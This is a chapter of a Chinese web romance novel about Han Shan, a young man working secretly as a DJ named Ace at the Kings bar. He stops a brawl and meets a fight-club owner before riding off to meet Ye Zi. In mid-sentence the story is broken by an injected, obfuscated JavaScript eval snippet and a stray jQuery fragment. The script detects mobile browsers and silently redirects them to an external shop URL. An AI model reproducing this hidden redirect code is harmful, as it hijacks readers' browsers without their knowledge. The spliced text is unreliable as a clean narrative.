楼下负一层的Kings酒吧里,群魔乱舞,霓虹灯晃动。
卡座坐满了人,不乏身价过亿的老板,富豪,公子哥,个个美女环绕,左拥右抱。
酒吧中充斥着彩色烟雾。香烟的味道,混合着酒味与香水味,奢靡又浪荡。
灯光最闪耀的舞台上,银发DJ熟练地操控着打碟机和调音台。修长的手指推动按钮,舞台激光、全场音效,尽数掌控在他指尖下。他耳蜗戴着一只黑色专用耳机,身体投入地随着节奏律动。
韩山来Kings兼职的事情,没有告诉任何人。
他喜欢音乐,早就想做这件事,囿于韩家的限制,一直没能做,如今韩松庭与他断绝关系,他再也没有任何约束。
穿着火辣的舞女在他身边扭动热舞,他只专注于音乐,沉浸于震耳欲聋的乐海之中,不用去想任何事情。
为了掩饰身份,顺应这个职业的风格,他戴了一只Lotos墨镜,头发打理过,衣服穿经理准备好的,首饰也是由经理亲自挑选。
这里的人都叫英文名,他给自己起名叫Ace,包括经理,没人知道他的真名。
他登台的第一天,就有女人来要他的联系方式,这个职业就是这样,但凡有几分姿色,站在舞台上让人看到,总能吸引些蜜蜂啊蝴蝶啊,赶都赶不走。
上到三四十岁事业有成的女老板、一掷千金的阔太,下到十几岁二十出头爱玩的富二代小姑娘,应有尽有。这几日他也算看了个遍。
可他没什么想法,一个人也没给。
尽管他身处淤泥,可他却向往最纯粹干净的人,而这种地方,绝不会遇到。
壁灯左右摇摆,投下炫目的光。他一眼也不看台下,却早已洞悉每个卡座的动态,东南角在谈生意,西北角在聚会,吧台上有年轻男人搭讪已婚女人,灯光最暗,最隐蔽的散台上,有人在亲吻。
这种风月场所多少带了些商务性质,但不妨碍有的人依然寻欢作乐。
韩山不屑一顾,他出生在韩家,这些本就看得多了,男人间的生意总是在酒桌和女人间拍板,女人早已是价值交换的一环。
他瞥了眼腕上的机械表,九点五十。
他的工作时间从晚上八点到天亮,夜越深,他越重要。
可惜今晚他不能控场狂欢时刻了。
他记得和叶子的约定,再有一个小时,他就要走了。
*
楼上,董婉凝提议:“哎,咱们吃完饭去Kings玩会儿,怎么样?”
沈娇娇第一个响应:“好呀!我倒要看看那个Ace真人长啥样!”
这话说到董婉凝心坎上了,她兴奋说:“我也想!燃哥呢?”她看向孟燃。
孟燃笑笑说:“我自然没问题。”
董婉凝:“萌萌,何艾,婧雅?”
张婧雅不假思索:“我可以!”
何艾犹豫地点点头,“去也行……不过我妈让我早点回家……”
宁小萌为难说:“啊,我就算了吧……”她还是对银发这个特征有些怵。那晚她亲眼见识韩山威胁董婉凝,生怕下一个被威胁的就是自己。
董婉凝不太高兴:“怕啥,根本不可能是他!”
阿天跟兄弟们打牌,听见她们讨论,插嘴说:“你们去看帅哥经过我同意了吗?”
董婉凝嘿嘿一笑,抱着他的胳膊央求说:“哎呀老公你最好了,今天是我生日嘛!让我去玩会儿呗!”
阿天懒得跟她计较,甩出最后两张牌,“再来再来!那你们去吧我可不去。”
董婉凝欢呼:“好耶!那老公玩尽兴哦!”她在他脸颊亲了一下。
阿天点了根烟叼着,边洗牌边说:“你们啥时候去?”
董婉凝看了眼手机:“再等会儿吧,Kings的狂欢时间是零点,现在还早。”
*
黑色高跟鞋嗒嗒作响,一个身穿大红色包臀裙,戴着墨镜的女人扭着身体,大步流星走进Kings,穿过人挤人的卡座,从舞台前经过,黑色指甲敲了敲打碟机,走进后面的员工通道。
韩山抬眸。
这是Kings的经理,Viki,中文名“玮琪”。
韩山转身跳下舞台,随着她一同进去。
玮琪走进办公室,知道韩山在后面,给他留了门。
她摘下墨镜,放下臂弯挎着的手提包,甩了下栗色大波浪,打开办公室内的藏酒柜,给自己倒上一杯威士忌,小酌一口,无比享受地靠在办公桌的边沿,等着后面人进来。
韩山停在办公室门口,敲了敲门。
玮琪豪迈地说:“说吧,什么事?给我打了两个电话。”
玮琪虽是经理,但脾性却像酒吧小姐,爱玩。
早些时候,韩山给她打电话请假,她在学赛车没接到。
韩山走进来,说:“今晚请假,十一点有事。”
玮琪眉梢微扬,“十一点?那狂欢时刻怎么办?”她摇晃酒杯,红唇漾开妩媚的笑,“这段时间很多人都是奔着你的名头来的,看不见你会失望的。狂欢时刻也需要你控场。”
“我必须走。”韩山已经摘了墨镜,狭长凉薄的眸没有半点情绪。
玮琪一时有点分不清他俩谁是老板。
几天前,少年来应聘,她一眼就看中了他。
面试过程相当顺利,少年很会玩打碟机和调音台。她果断录用了他。
能在皇家这样的高端娱乐场所当DJ,是多少圈里人梦寐以求的。
然而少年一直不咸不淡的,似乎很是无所谓。
也对,像他这样的外形条件和能力,应聘哪家酒吧都不会不通过。与其说是Kings选择了他,倒不如说是他选择了Kings。
事实证明玮琪的眼光确实没错,少年一夜成名,成为Kings的摇钱树。
现在,反而是玮琪生怕他下一句说:你不放人,我就辞职。
玮琪弯了弯唇,一把抓住他颈间的银色项链,将他扯到面前,娇娇柔柔,极尽风情地说:“急事吗?可是Kings现在离不开你。好歹过了狂欢时刻再走嘛。一点,一点我放你走,怎么样?”
韩山脸上毫无波澜,垂眸看着她,说:“十一点。我可以一点回来。”
“就这么急吗,非得十一点?”玮琪盯着他的眼睛,半玩笑半套话说:“怎么,不会是你的小女友让你十一点送她回家吧?”
她确实挺好奇他的感情生活,他这样的外形,看起来就是个渣男。
韩山黑眸沉沉看她,不置可否。
玮琪觉得扫兴,松开他,百无聊赖说:“算了算了,你去吧。一点回来哈。我把狂欢时刻往后推一下,等你哟。”她抛媚眼。
韩山转身离开,将墨镜重新戴在脸上。
玮琪以为他多少能表示一下吧,结果他还是一个字都不说,更扫兴了:“啧,怎么跟个木头一样。”
白瞎了这副好皮囊。
一个酒保慌慌张张闯进来,喊道:“经理!有人在舞池打起来了!”
韩山脚步微顿。
玮琪惊讶:“什么?”
玮琪与韩山一同来到前厅,场面已经相当混乱,两个男人在打架,桌子都掀翻了,一地狼藉。玮琪惊骇捂住嘴巴。
立刻有酒保来汇报:“经理,已经报警了。”
这酒保脸上带着伤,似乎是拦架被揍了。
墨镜下,韩山锐利的眸看向混乱中心,他们打得凶,没一个人敢靠近。
韩山蹙眉拨开人群,大步走上前,将他们拉开,“要打去外面打。”
地上都是酒水,酒瓶碎片、各种食物,在地上被踩得稀巴烂。
两个男人,一个穿着灰色西装,头发打了发蜡,看起来很体面,一个穿着黑色紧身T恤,健壮的臂膊将袖口绷得紧紧的。
西装男嘴角挂了伤,一片红肿,被拉开后整理衣服领带,没再上前。而T恤男不依不饶,被拉开顿时急眼了,“你管老子!”他扬拳向韩山挥去。
有舞女尖叫了一声。
韩山神色没有丝毫变化,手掌包住男人的拳头,从容接下这一拳,念在自己DJ的身份,没有还手,只是抓着他的拳头,没松开。
陪酒小姐们惊恐地缩在一起,酒保们退避三舍,护着客人们的安全。
T恤男眼中闪过一瞬意外之色,发力试图挣脱,却怎么也挣不开,韩山戴着墨镜,看不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713092|144650||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
出神色,但轻松的姿态,仿佛不用力气。
T恤男扬起另一只拳头挥向韩山,韩山扼住他的手腕。
T恤男一愣。
普通人的三角猫功夫根本威胁不到韩山。周围开始出现惊叹声。
T恤男抬脚要踹韩山,韩山长腿将他的腿一别,他扑通一声跪在了地上。韩山顺势将他两只手反剪在身后,轻而易举制伏了他。
周围吸气声、叹服声不止。
韩山穿的是玮琪给他准备的白色宽松衬衫,脖子上松松挂了根黑色领带。他稳稳地钳制着男人,单手取下领带,两三下将男人双腕捆住,“你就安生在这等警察来吧。”
T恤男还想挣扎,“我可是你们酒吧的顾客!你敢对顾客动手,信不信我去告你!”
韩山长腿从他身后退开,轻笑一声没搭腔。
混乱平息,场面平静下来,人群看韩山的眼神多了几分仰慕和不可思议。其中有位拿着石楠木烟斗的富豪,微微眯眼,吐了口烟雾。
西装男心有余悸,也被韩山的身手震慑到了,喉结滚了滚,拘谨对韩山说:“谢谢小兄弟出手制止,不然我真的不知道要被打成什么样……”他手掌在西装上快速蹭了蹭,擦干掌心的汗,小心翼翼伸出手,显现出一副卑微讨好的样子,“我叫李勇军,可以认识一下吗?”
韩山抬眸,敏锐地认出他就是刚才在吧台上搭讪已婚女人的那位年轻男士——那女人左手无名指带着婚戒。
这种人对韩山来说只是蠢货,他勾唇,没说什么,也没有理李勇军伸出来的手,抬臂看了眼机械手表,十点五十五。
他立刻转身走进人群中。他该走了。
李勇军望着韩山的背影进入员工通道,默默收回了手。
拿着石楠木烟斗的那位富豪也注视着韩山离去,偏头低声对手下人说:“拦住他。”
*
韩山大步往化妆间走,边走边摘耳钉、项链,然后连带墨镜一同丢在化妆间桌上,胡乱抓乱头发,拿了衣架上他的皮衣,从后门离开Kings。
前门外闪烁着警车红蓝色的光,警察已经来了。
韩山长腿跨上机车,打火要走,便在这时,几个人影将他笼罩。
他抬眸,拿着石楠木烟斗的富豪站在他面前,身后四个体型健硕的保镖。
韩山记得他们,刚才就是他们和另一拨人在酒吧里谈生意。
现在这是?
他转动钥匙熄了火,机车发动机安静下来。
富豪穿着棕色条纹西装,身形富态,脸上带着和善的微笑,说:“小兄弟,我看你身手不错,想跟你交个朋友。”他抬了下手,拇指上戴着个翡翠扳指。
一个保镖立刻将富豪的名片双手奉上。
韩山微微蹙眉,接过名片,上面写着富豪的名字:翁方海。
翁方海:“我经营着一个地下格斗场,不知小兄弟愿不愿意跟我去转转?我相信你一定会喜欢那里。”
格斗啊……
韩山了然一笑,收起名片,爽快说:“今晚不行。改日,我亲自上门拜访翁老板。”
翁方海目光深邃:“好,那我等你消息。”
韩山向他点头,拧钥匙,骑机车离开了。
*
叶子看了眼手机,十一点五分,韩山还没来。
她在火锅店外的街边等他,左右张望。
火锅店对面就是皇家,门口停着一辆警车,她有些好奇,这是怎么了呢?
夜里温度低,她呼出一团团雪白的哈气。但她刚从火锅店下班,还不觉得冷。
同事们也下班了,锁上火锅店的门,发现她还没走,隔着一段距离喊她:“叶子,我们叫了车,要不要跟我们一起走?”
叶子转过身摆手,笑着说:“不用啦!你们先走吧!”
“那我们走了!”
叶子跟她们挥手告别。
这时,身后传来两声鸣笛,叶子下意识回头,韩山骑着机车停在她面前。
他长腿支在地上,视线在她同事们身上稍稍停留,转过眸看她。
叶子见到他,不自觉扬起唇角,又看了眼手机,笑吟吟宣布:“你迟到六分钟十一秒。”